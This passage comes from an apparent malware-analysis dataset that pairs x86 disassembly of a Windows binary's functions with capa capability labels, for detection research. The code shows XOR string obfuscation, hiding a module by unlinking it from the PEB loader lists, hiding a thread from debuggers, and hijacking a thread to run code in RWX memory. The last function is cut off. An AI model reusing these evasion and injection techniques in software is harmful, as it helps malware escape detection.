joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100183c0
Capabilities:
Terminate process

Disassembly:
call fcn.10017b90
push dword [0x100761c0]
call fcn.100138a0
add esp, 4
cmp al, 0xe9
jne 0x100183ee
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push dword [0x100761c0]
call esi
test eax, eax
jne 0x10018432
mov eax, dword [0x100761c0]
mov dword [0x1007621c], eax
call fcn.1005d390
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1005d860
push 0x10016280
push 0x1007621c
call fcn.1005cc10
call fcn.1005d3f0
push 4
push 0x48b2af
call esi
test eax, eax
jne 0x1001846f
push 4
push 0x100172e0
call esi
test eax, eax
jne 0x1001846f
push 6
push 0x90
push 0x48b2af
call fcn.10013800
push 0x100172e0
push 0x48b2af
call fcn.10018a40
add esp, 0x14
push 4
push 0x48b610
call esi
test eax, eax
jne 0x100184ac
push 4
push 0x10017320
call esi
test eax, eax
jne 0x100184ac
push 6
push 0x90
push 0x48b610
call fcn.10013800
push 0x10017320
push 0x48b610
call fcn.10018a40
add esp, 0x14
push 4
push 0x48b980
call esi
test eax, eax
jne 0x100184e9
push 4
push 0x10017360
call esi
test eax, eax
jne 0x100184e9
push 6
push 0x90
push 0x48b980
call fcn.10013800
push 0x10017360
push 0x48b980
call fcn.10018a40
add esp, 0x14
push 4
push 0x48bcf0
call esi
test eax, eax
jne 0x10018526
push 4
push 0x100173a0
call esi
test eax, eax
jne 0x10018526
push 6
push 0x90
push 0x48bcf0
call fcn.10013800
push 0x100173a0
push 0x48bcf0
call fcn.10018a40
add esp, 0x14
push 4
push 0x48c060
call esi
test eax, eax
jne 0x10018563
push 4
push 0x100173e0
call esi
test eax, eax
jne 0x10018563
push 6
push 0x90
push 0x48c060
call fcn.10013800
push 0x100173e0
push 0x48c060
call fcn.10018a40
add esp, 0x14
push 4
push 0x48c3d0
call esi
test eax, eax
jne 0x100185a0
push 4
push 0x10017420
call esi
test eax, eax
jne 0x100185a0
push 6
push 0x90
push 0x48c3d0
call fcn.10013800
push 0x10017420
push 0x48c3d0
call fcn.10018a40
add esp, 0x14
push 4
push 0x48c740
call esi
test eax, eax
jne 0x100185dd
push 4
push 0x10017460
call esi
test eax, eax
jne 0x100185dd
push 6
push 0x90
push 0x48c740
call fcn.10013800
push 0x10017460
push 0x48c740
call fcn.10018a40
add esp, 0x14
push 4
push 0x48cab0
call esi
test eax, eax
jne 0x1001861a
push 4
push 0x100174a0
call esi
test eax, eax
jne 0x1001861a
push 6
push 0x90
push 0x48cab0
call fcn.10013800
push 0x100174a0
push 0x48cab0
call fcn.10018a40
add esp, 0x14
push 4
push 0x48ce20
call esi
test eax, eax
jne 0x10018657
push 4
push 0x100174e0
call esi
test eax, eax
jne 0x10018657
push 6
push 0x90
push 0x48ce20
call fcn.10013800
push 0x100174e0
push 0x48ce20
call fcn.10018a40
add esp, 0x14
push 4
push 0x48d190
call esi
test eax, eax
jne 0x10018694
push 4
push 0x10017520
call esi
test eax, eax
jne 0x10018694
push 6
push 0x90
push 0x48d190
call fcn.10013800
push 0x10017520
push 0x48d190
call fcn.10018a40
add esp, 0x14
pop esi
ret
Function at 0x10018ad0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
mov eax, dword [0x10075604]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x100686e0]
xor ecx, ecx
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x3c], eax
movups xmmword [ebp - 0x38], xmm0
mov byte [ebp - 0x28], 0
nop word [eax + eax]
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xf
jb 0x10018b00
sub esp, 0x18
mov byte [ebp - 0x28], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [ebp - 0x37], 0
jne 0x10018b31
xor ecx, ecx
jmp 0x10018b40
lea ecx, [ebp - 0x37]
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018b37
sub ecx, esi
push ecx
lea eax, [ebp - 0x37]
mov ecx, edx
push eax
call fcn.10002800
lea eax, [ebp - 0x1c]
push eax
call fcn.1005aed0
mov eax, dword [ebp + 0xc]
add esp, 0x1c
mov edi, dword [ebp - 8]
mov ebx, dword [ebp - 0x1c]
mov dword [ebp - 0x24], 0
cmp dword [eax], 0
jbe 0x10018bb8
xor edx, edx
mov dword [ebp - 0x20], edx
cmp edi, 0x10
lea ecx, [ebp - 0x1c]
cmovae ecx, ebx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10018b80
sub ecx, esi
mov eax, edx
cmp edi, 0x10
lea esi, [ebp - 0x1c]
cmovae esi, ebx
xor edx, edx
div ecx
mov ecx, dword [ebp - 0x20]
mov al, byte [edx + esi]
mov edx, dword [ebp - 0x3c]
xor byte [ecx + edx], al
mov eax, dword [ebp - 0x24]
inc eax
movzx edx, ax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], edx
cmp edx, dword [eax]
jb 0x10018b72
cmp edi, 0x10
jb 0x10018c02
lea eax, [edi + 1]
cmp eax, 0x1000
jb 0x10018bf9
test bl, 0x1f
je 0x10018bd2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov eax, dword [ebx - 4]
cmp eax, ebx
jb 0x10018bdf
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
sub ebx, eax
cmp ebx, 4
jae 0x10018bec
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
cmp ebx, 0x23
jbe 0x10018bf7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
mov ebx, eax
push ebx
call fcn.1005e746
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
Function at 0x10018c20
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061038
mov eax, dword fs:[0]
push eax
sub esp, 0x2c
mov eax, dword [0x10075604]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x100761f2], 0
mov esi, dword [ebp + 8]
je 0x10018d85
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call edi
sub eax, dword [0x10076240]
sbb edx, dword [0x10076244]
mov dword [ebp - 0x34], edx
jne 0x10018c7e
cmp eax, 0x3e8
jb 0x10018d9c
call edi
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [0x10076240], eax
movq qword [ebp - 0x1c], xmm0
mov dword [0x10076244], edx
mov byte [ebp - 0x2d], 0xa1
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
mov byte [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x1000
lea ecx, [ebp - 0x1c]
mov dword [ebp - 4], 0
call fcn.10006cf0
mov edx, dword [ebp - 0x18]
mov eax, edx
mov ecx, dword [ebp - 0x1c]
sub eax, ecx
mov dword [ebp - 0x34], eax
cmp eax, 0x989680
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], 1
mov dword [ebp - 0x2c], vtable.Packet.0
ja 0x10018d2d
lea edi, [eax + 1]
cmp dword [ebp - 0x34], edi
jae 0x10018d20
push edi
lea ecx, [ebp - 0x1c]
call fcn.10006e80
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x2d]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
sub edx, ecx
mov dword [ebp - 4], 2
mov byte [ebp - 0x2d], 0xa4
cmp edx, 0x989680
ja 0x10018d62
lea edi, [eax + 1]
cmp edx, edi
jae 0x10018d58
push edi
lea ecx, [ebp - 0x1c]
call fcn.10006e80
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x2d]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x20], eax
cmp dword [esi + 0x14], 0x10
jb 0x10018d6a
mov esi, dword [esi]
push esi
lea ecx, [ebp - 0x2c]
call fcn.10015390
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
sub eax, ecx
push eax
push ecx
call fcn.10013a20
add esp, 8
push 9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
Function at 0x10018dc0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061080
mov eax, dword fs:[0]
push eax
sub esp, 0x44
mov eax, dword [0x10075604]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x100761f2], 0
je 0x10018f84
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x10076238]
sbb edx, dword [0x1007623c]
mov dword [ebp - 0x4c], edx
jne 0x10018e1b
cmp eax, 0xbb8
jb 0x10018f84
call esi
movaps xmm0, xmmword [str..jKOCAHZoBGXK]
xor ecx, ecx
mov dword [0x10076238], eax
mov dword [0x1007623c], edx
movups xmmword [ebp - 0x20], xmm0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x10018e35
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.100017e0
lea eax, [ebp - 0x44]
push eax
call fcn.1005aed0
add esp, 0x1c
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 4], 0
movq qword [ebp - 0x1c], xmm0
mov byte [ebp - 0x45], 0xa1
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
mov byte [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x1000
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.10006cf0
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, dword [ebp - 0x1c]
sub edi, ecx
mov eax, dword [ebp - 0x20]
mov byte [ebp - 4], 2
mov dword [ebp - 0x2c], vtable.Packet.0
cmp edi, 0x989680
ja 0x10018f00
lea esi, [eax + 1]
cmp edi, esi
jae 0x10018ef3
push esi
lea ecx, [ebp - 0x1c]
call fcn.10006e80
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x45]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x45], 0xa5
cmp edx, 0x989680
ja 0x10018f32
lea esi, [eax + 1]
cmp edx, esi
jae 0x10018f28
push esi
lea ecx, [ebp - 0x1c]
call fcn.10006e80
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x45]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x44]
push eax
call fcn.10015390
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
sub eax, esi
push eax
push esi
call fcn.10013a20
add esp, 8
test esi, esi
je 0x10018f6d
mov eax, dword [ebp - 0x14]
push 1
sub eax, esi
push eax
push esi
call fcn.10002610
add esp, 0xc
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x10018f84
push 1
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10002610
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
Function at 0x10018fa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100610c0
mov eax, dword fs:[0]
push eax
sub esp, 0x6c
push ebx
push esi
mov eax, dword [0x10075604]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, byte [ebp + 8]
cmp bl, 0x41
je 0x10019087
push 0xd78dd4
call fcn.10013960
add esp, 4
mov esi, eax
call fcn.10001ad0
cmp esi, eax
jne 0x10019008
push 0xd78dd4
call fcn.10013960
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp esi, eax
je 0x10019087
movaps xmm0, xmmword [str.Ke__._]
xor ecx, ecx
movups xmmword [ebp - 0x78], xmm0
movzx eax, bl
movaps xmm0, xmmword [str.gke__._]
push eax
movups xmmword [ebp - 0x68], xmm0
mov dword [ebp - 0x58], 0x24393f25
mov word [ebp - 0x54], 0x27
mov al, byte [ebp - 0x78]
xor byte [ebp + ecx - 0x77], al
inc ecx
cmp ecx, 0x24
jb 0x10019031
sub esp, 0x18
mov byte [ebp - 0x53], 0
lea eax, [ebp - 0x77]
mov ecx, esp
push eax
call fcn.100017e0
lea eax, [ebp - 0x50]
push eax
call fcn.10031980
push eax
mov dword [ebp - 4], 0
call fcn.10018c20
mov eax, dword [ebp - 0x3c]
add esp, 0x24
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x10019087
inc eax
push 1
push eax
push dword [ebp - 0x50]
call fcn.10002610
add esp, 0xc
push dword [0x10076224]
call fcn.1001cd80
add esp, 4
test eax, eax
je 0x10019124
movaps xmm0, xmmword [0x100686d0]
xor ecx, ecx
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 0x10], 0x4c494d
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0x12
jb 0x100190b1
cmp byte [ebp - 0x1f], 0
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x28], 0
mov byte [ebp - 0x38], 0
jne 0x100190de
xor ecx, ecx
jmp 0x100190ed
lea ecx, [ebp - 0x1f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100190e4
sub ecx, edx
push ecx
lea eax, [ebp - 0x1f]
push eax
lea ecx, [ebp - 0x38]
call fcn.10002800
lea eax, [ebp - 0x38]
mov dword [ebp - 4], 1
push eax
call fcn.10018c20
mov eax, dword [ebp - 0x24]
add esp, 4
cmp eax, 0x10
jb 0x10019124
push 1
inc eax
push eax
push dword [ebp - 0x38]
call fcn.10002610
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001c920
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x10075604]
xor eax, ebp
mov dword [ebp - 4], eax
movaps xmm0, xmmword [0x10068780]
push esi
mov esi, ecx
mov dword [ebp - 0x24], 0x5c505a1d
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x20], 0
xor ecx, ecx
nop dword [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x13
jb 0x1001c950
lea eax, [ebp - 0x33]
mov byte [ebp - 0x20], 0
push eax
lea eax, [ebp - 0x1c]
push 0x10076100
push eax
call fcn.10006f30
mov eax, dword [esi + 0x1fc]
add esp, 0xc
test eax, eax
je 0x1001c987
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x8010
cmovae eax, dword [ebp - 0x1c]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1001c9c5
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x1001c9c5
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov eax, dword [ebp - 8]
pop esi
cmp eax, 0x10
jb 0x1001c9dd
push 1
inc eax
push eax
push dword [ebp - 0x1c]
call fcn.10002610
add esp, 0xc
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
Function at 0x1001cba0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061360
mov eax, dword fs:[0]
push eax
sub esp, 0x74
mov eax, dword [0x10075604]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
movaps xmm0, xmmword [0x10068790]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0xe
jb 0x1001cbd8
mov byte [ebp - 0x24], 0x48
mov al, 0x26
xor al, byte [ebp - 0x24]
mov bl, 0x24
mov ah, bl
mov byte [ebp - 0x23], al
mov al, byte [ebp - 0x24]
mov dl, 0x2c
mov bh, ah
mov byte [ebp - 0x15], ah
xor bl, al
mov byte [ebp - 0x1a], 0
xor ah, al
mov byte [ebp - 0x29], 0
xor bh, al
mov byte [ebp - 0x1f], ah
mov dh, dl
mov byte [ebp - 0x20], bl
xor dl, al
mov byte [ebp - 0x1c], bh
xor dh, al
mov byte [ebp - 0x21], dl
mov cl, 0x3c
mov byte [ebp - 0x1d], dh
xor cl, al
mov byte [ebp - 0x1a], 0
mov ch, 0x66
mov byte [ebp - 0x22], cl
xor ch, al
mov al, byte [ebp - 0x15]
xor al, byte [ebp - 0x24]
mov byte [ebp - 0x1b], al
lea eax, [ebp - 0x37]
push eax
lea eax, [ebp - 0x23]
mov byte [ebp - 0x1e], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0xd78dd4
mov edi, eax
call fcn.10013960
add esp, 4
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
test esi, esi
je 0x1001cd5e
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push esi
call edi
test eax, eax
jns 0x1001ccf0
movaps xmm0, xmmword [0x100687a0]
xor ecx, ecx
movups xmmword [ebp - 0x38], xmm0
mov word [ebp - 0x28], 0x6926
mov byte [ebp - 0x26], 0
mov al, byte [ebp - 0x38]
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 0x11
jb 0x1001cca2
lea eax, [ebp - 0x37]
mov byte [ebp - 0x26], 0
push eax
lea ecx, [ebp - 0x68]
call fcn.100017e0
lea eax, [ebp - 0x68]
mov dword [ebp - 4], 0
push eax
call fcn.10018c20
mov eax, dword [ebp - 0x54]
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x1001ccf0
inc eax
push 1
push eax
push dword [ebp - 0x68]
call fcn.10002610
add esp, 0xc
cmp dword [ebp - 0x14], 0
jbe 0x1001cd57
movaps xmm0, xmmword [0x100687c0]
xor ecx, ecx
movups xmmword [ebp - 0x50], xmm0
mov dword [ebp - 0x40], 0x4e4f4e44
mov word [ebp - 0x3c], 0xb
mov al, byte [ebp - 0x50]
xor byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 0x14
jb 0x1001cd10
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x3b], 0
push eax
lea ecx, [ebp - 0x80]
call fcn.100017e0
lea eax, [ebp - 0x80]
mov dword [ebp - 4], 1
push eax
call fcn.10018c20
mov eax, dword [ebp - 0x6c]
add esp, 4
cmp eax, 0x10
jb 0x1001cd57
push 1
inc eax
push eax
push dword [ebp - 0x80]
call fcn.10002610
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
Function at 0x1001ce80
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10075604]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov cl, 0x4b
mov dword [ebp - 0x2f8], 0x273f194b
xor eax, eax
mov dword [ebp - 0x2f4], 0x2f2a2407
mov dword [ebp - 0x2f0], 0x22393f18
mov word [ebp - 0x2ec], 0x2c25
mov byte [ebp - 0x2ea], 0
nop dword [eax + eax]
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1001cee5
mov cl, byte [ebp - 0x2f8]
jmp 0x1001ced0
mov byte [ebp - 0x2e8], 0x33
mov al, 0x5d
xor al, byte [ebp - 0x2e8]
mov bl, 0x5f
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x57
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x47
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x1d
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x1001cfab
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1001cf98
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001cf98
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1001cf98
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1001cf98
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], edi
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1001cf98
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
pop edi
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1005e77e
mov esp, ebp
pop ebp
ret
Function at 0x1001d070
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp + 8]
jne 0x1001d0a9
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001d0ad
cmp edx, esi
jne 0x1001d092
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp + 8]
jne 0x1001d0cd
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001d0d1
cmp edx, esi
jne 0x1001d0b6
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp + 8]
jne 0x1001d0f1
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1001d0f5
cmp edx, esi
jne 0x1001d0da
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1001d1a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov byte [ebp - 0x10], 0x28
mov al, 0x46
xor al, byte [ebp - 0x10]
mov bl, 0x44
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x4c
mov bh, ah
mov byte [ebp - 1], ah
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
mov byte [ebp - 6], 0
xor bl, al
mov byte [ebp - 0xd], dl
xor ah, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 9], dh
mov cl, 0x5c
mov byte [ebp - 8], bh
xor cl, al
mov ch, 6
xor ch, al
mov byte [ebp - 0xe], cl
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
pop ebx
test edx, edx
jne 0x1001d212
xor al, al
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x100687b0]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x213b073d
mov dword [ebp - 0x14], 0x373236
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1001d230
push esi
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x1001d25a
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1001d267
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0
push 0
push 0x11
push eax
call esi
test eax, eax
pop esi
sete al
mov esp, ebp
pop ebp
ret
Function at 0x1001ec40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10061438
mov eax, dword fs:[0]
push eax
sub esp, 0x40
push esi
mov eax, dword [0x10075604]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov edx, dword [ebp + 8]
mov eax, dword [esi + 8]
mov dword [0x10076388], eax
test edx, edx
je 0x1001ed33
cmp dword [ebp + 0xc], 1
jne 0x1001ed33
mov eax, dword [esi + 4]
test eax, eax
je 0x1001ed1f
cmp edx, eax
jne 0x1001ed1f
cmp byte [0x10076370], 0
sete al
xor ecx, ecx
mov byte [0x10076370], al
test al, al
je 0x1001ecd6
movaps xmm0, xmmword [0x10068890]
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x2e
nop
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x10
jb 0x1001ecc0
mov byte [ebp - 0x23], 0
lea eax, [ebp - 0x33]
jmp 0x1001ecf9
movaps xmm0, xmmword [0x100688a0]
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 0x10], 0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xf
jb 0x1001ece5
mov byte [ebp - 0x10], 0
